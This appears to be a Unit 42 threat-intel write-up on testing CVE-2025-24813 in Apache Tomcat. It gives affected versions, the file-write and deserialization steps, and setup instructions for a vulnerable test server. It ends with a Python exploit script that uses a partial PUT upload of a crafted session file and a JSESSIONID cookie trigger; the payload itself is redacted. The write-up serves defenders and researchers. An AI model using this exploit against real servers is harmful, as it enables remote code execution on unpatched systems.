Unit42-timely-threat-intel/2025-03-14-Testing-CVE-2025-24813.md at main · PaloAltoNetworks/Unit42-timely-threat-intel (original) (raw)
Authors
- Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng
References
- https://www.linkedin.com/posts/unit42_we-have-tested-cve-2025-24813-under-specific-activity-7306384143167168512-7-uj/
- https://x.com/Unit42_Intel/status/1900618521303740709
Original References
- https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
- https://nvd.nist.gov/vuln/detail/CVE-2025-24813
- https://scrapco.de/blog/analysis-of-cve-2025-24813-apache-tomcat-path-equivalence-rce.html
Versions Affected
- Apache Tomcat 11.0.0-M1 to 11.0.2
- Apache Tomcat 10.1.0-M1 to 10.1.34
- Apache Tomcat 9.0.0.M1 to 9.0.98
Notes
CVE-2025-24813 is a recently announced vulnerability for Apache Tomcat. Apache is an open-source web server platform, and Tomcat is software that allows Apache web servers to run Java servlets.
Exploiting this vulnerability consists of two steps:
- Arbitrary file writing
- Insecure deserialization
Arbitrary File Writing
When session persistence is enabled in Tomcat, the server will serialize all active user sessions before shutting down. Upon restarting, Tomcat will deserialize these sessions, allowing user sessions to remain active without users being aware of the server restart.
However, if the HTTP PUT method in Tomcat is enabled, files uploaded via HTTP PUT requests may be cached in the same directory where serialized session data is stored. On a vulnerable web server, an attacker might be able to save malicious files to the serialized session data directory.
Insecure Deserialization
After saving a malicious file to the directory for serialized session data. An attacker could use a crafted cookie to "wake up" a session. This could potentially trigger Tomcat to deserialize a maliciously crafted session file, allowing exploitation through deserialization vulnerabilities associated with CVE-2025-24813.
Testing an Exploit
We successfully tested an exploit for CVE-2025-24813 on an Apache web server running an outdated version of Tomcat with an outdated version of Java. Some of this information has already been posted at Lingua Diabolis.
Note: All URLs below have been de-fanged.
Test Environment
- Ubuntu 24 Server
- Apache-Tomcat 9.0.90
- hxxps[:]//archive.apache[.]org/dist/tomcat/tomcat-9/v9.0.90/bin/apache-tomcat-9.0.90.zip
- Java 8.0.442-zulu
- Some depdendencies
- hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
- htxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar
Establishing a Vulnerable Tomcat Configuration
- Enable PUT
Edittomcat/conf/web.xmlto add areadonlyparameter under thedefaultservlet name section and set it tofalse. An example is shown below near the end of the code. default org.apache.catalina.servlets.DefaultServlet debug 0 listings false readonly false 1 - Enable Session persistence
Edit/tomcat/conf/content.xmland add the following setting. - Using the following commands, create a directory at
/tomcat/webapps/ROOT/WEB-INF/liband place two outdated dependencies within it.
mkdir ./tomcat/webapps/ROOT/WEB-INF/lib && cd ./tomcat/webapps/ROOT/WEB-INF/lib
wget hxxps[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
wget hxxps[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.4/commons-beanutils-1.9.4.jar Exploit
We used Java Chains to create a specially crafted session file and send it to a temporarily vulnerable web server running Apache Tomcat at www.wiresharkworkshop[.]online. Below is an example of Python script used for this purpose. The malicious session file is named gopan.session but can be changed to any name.
import requests import base64 import os
TARGET_IP = "hxxp[:]//www.wiresharkworkshop[.]online:8080/"
b64_encoded_payload = "[information redacted]"
output_file_path = "decoded_chain.bin" decoded_content = base64.b64decode(b64_encoded_payload)
with open(output_file_path, "wb") as f: f.write(decoded_content)
put_url = f"{TARGET_IP}/gopan.session" put_headers = {"Content-Range": "bytes 0-5/100"}
with open(output_file_path, "rb") as f: put_response = requests.put(put_url, data=f, headers=put_headers) os.remove(output_file_path)
get_url = f"{TARGET_IP}/" get_headers = {"Cookie": "JSESSIONID=.gopan"} get_response = requests.get(get_url, headers=get_headers)